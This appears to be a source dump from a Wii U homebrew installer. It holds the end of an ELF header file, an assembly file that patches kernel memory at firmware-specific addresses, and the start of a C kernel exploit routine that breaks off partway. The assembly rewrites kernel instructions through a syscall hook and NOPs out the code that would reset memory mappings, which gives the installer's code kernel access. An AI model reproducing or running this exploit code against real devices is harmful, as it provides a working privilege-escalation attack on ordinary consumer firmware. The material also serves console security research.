#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */
================================================
FILE: installer/kernel_patches.S
================================================
#if (VER == 550)
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
#elif ((VER == 532) || (VER == 540))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif ((VER == 500) || (VER == 510))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 410
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
#define BAT_SET_NOP_ADDR_1 0xFFF06708
#define BAT_SET_NOP_ADDR_2 0xFFF06794
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 400
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
#define BAT_SET_NOP_ADDR_2 0xFFF06788
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
//define BAT_SET_NOP_ADDR_7 not present in 400
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
#elif (VER == 310)
#define BAT_SETUP_HOOK_ADDR 0xFFF19EC4
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19FAC
#define BAT_SET_NOP_ADDR_6 0xFFF19FC8
// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0
#define BAT_SET_NOP_ADDR_8 0xFFEE0FB0
#define BAT_SET_NOP_ADDR_9 0xFFEE0FB4
#elif (VER == 300)
#define BAT_SETUP_HOOK_ADDR 0xFFF19E2C
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19F14
#define BAT_SET_NOP_ADDR_6 0xFFF19F30
// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x
#define BAT_SET_NOP_ADDR_8 0xFFEE0DB8
#define BAT_SET_NOP_ADDR_9 0xFFEE0DBC
#else
#error Please define valid values for kernel setup.
#endif
#ifdef USE_SD_LOADER
#define BAT_SETUP_HOOK_ENTRY 0x00800000
#else
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
#endif
#define BAT4U_VAL 0x008000FF
#if VER >= 410
#define BAT4L_VAL 0x30800012
#elif VER <= 400
#define BAT4L_VAL 0x4E800012
#else
#error Please define valid value for firmware setup.
#endif
#define SET_R4_TO_ADDR(addr) \
lis r3, addr@h ; \
ori r3, r3, addr@l ; \
stw r4, 0(r3) ; \
dcbf 0, r3 ; \
icbi 0, r3 ;
.globl SC_0x25_KernelCopyData
SC_0x25_KernelCopyData:
li r0, 0x2500
sc
blr
.globl Syscall_0x36
Syscall_0x36:
li r0, 0x3600
sc
blr
.globl KernelPatches
KernelPatches:
# store the old DBAT0
mfdbatu r5, 0
mfdbatl r6, 0
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFF0
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFF0
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
# just chosen because its simple
lis r3, BAT_SETUP_HOOK_ADDR@h
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
# make the kernel setup our section in IBAT4 and
# jump to our function to restore the replaced instructions
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
ori r4, r4, BAT4L_VAL@h
stw r4, 0x00(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
ori r4, r4, BAT4L_VAL@l
stw r4, 0x04(r3)
lis r4, 0x7cf1 # mtspr 561, r7
ori r4, r4, 0x8ba6
stw r4, 0x08(r3)
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
ori r4, r4, BAT4U_VAL@h
stw r4, 0x0C(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
ori r4, r4, BAT4U_VAL@l
stw r4, 0x10(r3)
lis r4, 0x7cf0 # mtspr 560, r7
ori r4, r4, 0x8ba6
stw r4, 0x14(r3)
lis r4, 0x7c00 # eieio
ori r4, r4, 0x06ac
stw r4, 0x18(r3)
lis r4, 0x4c00 # isync
ori r4, r4, 0x012c
stw r4, 0x1C(r3)
lis r4, 0x7ce8 # mflr r7
ori r4, r4, 0x02a6
stw r4, 0x20(r3)
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
stw r4, 0x24(r3)
# flush and invalidate the replaced instructions
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
dcbf 0, r3
icbi 0, r3
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
dcbf 0, r3
icbi 0, r3
sync
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
# IBATL 4
lis r3, BAT4L_VAL@h
ori r3, r3, BAT4L_VAL@l
mtspr 561, r3
# IBATU 4
lis r3, BAT4U_VAL@h
ori r3, r3, BAT4U_VAL@l
mtspr 560, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
# nop on IBATU 4 and DBAT 5 set/reset
#ifdef BAT_SET_NOP_ADDR_1
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
#endif
#ifdef BAT_SET_NOP_ADDR_2
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
#endif
#ifdef BAT_SET_NOP_ADDR_3
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
#endif
#ifdef BAT_SET_NOP_ADDR_4
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
#endif
#ifdef BAT_SET_NOP_ADDR_5
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
#endif
#ifdef BAT_SET_NOP_ADDR_6
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
#endif
#ifdef BAT_SET_NOP_ADDR_7
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
#endif
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFEE
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFEE
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
#endif
# memory barrier
eieio
isync
# restore DBAT 0 and return from interrupt
mtdbatu 0, r5
mtdbatl 0, r6
# memory barrier
eieio
isync
blr
================================================
FILE: installer/kexploit.c
================================================
#include "kexploit.h"
void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
#if (VER >= 532)
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
//needed to not destroy screen
doBrowserShutdown(coreinit_handle);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
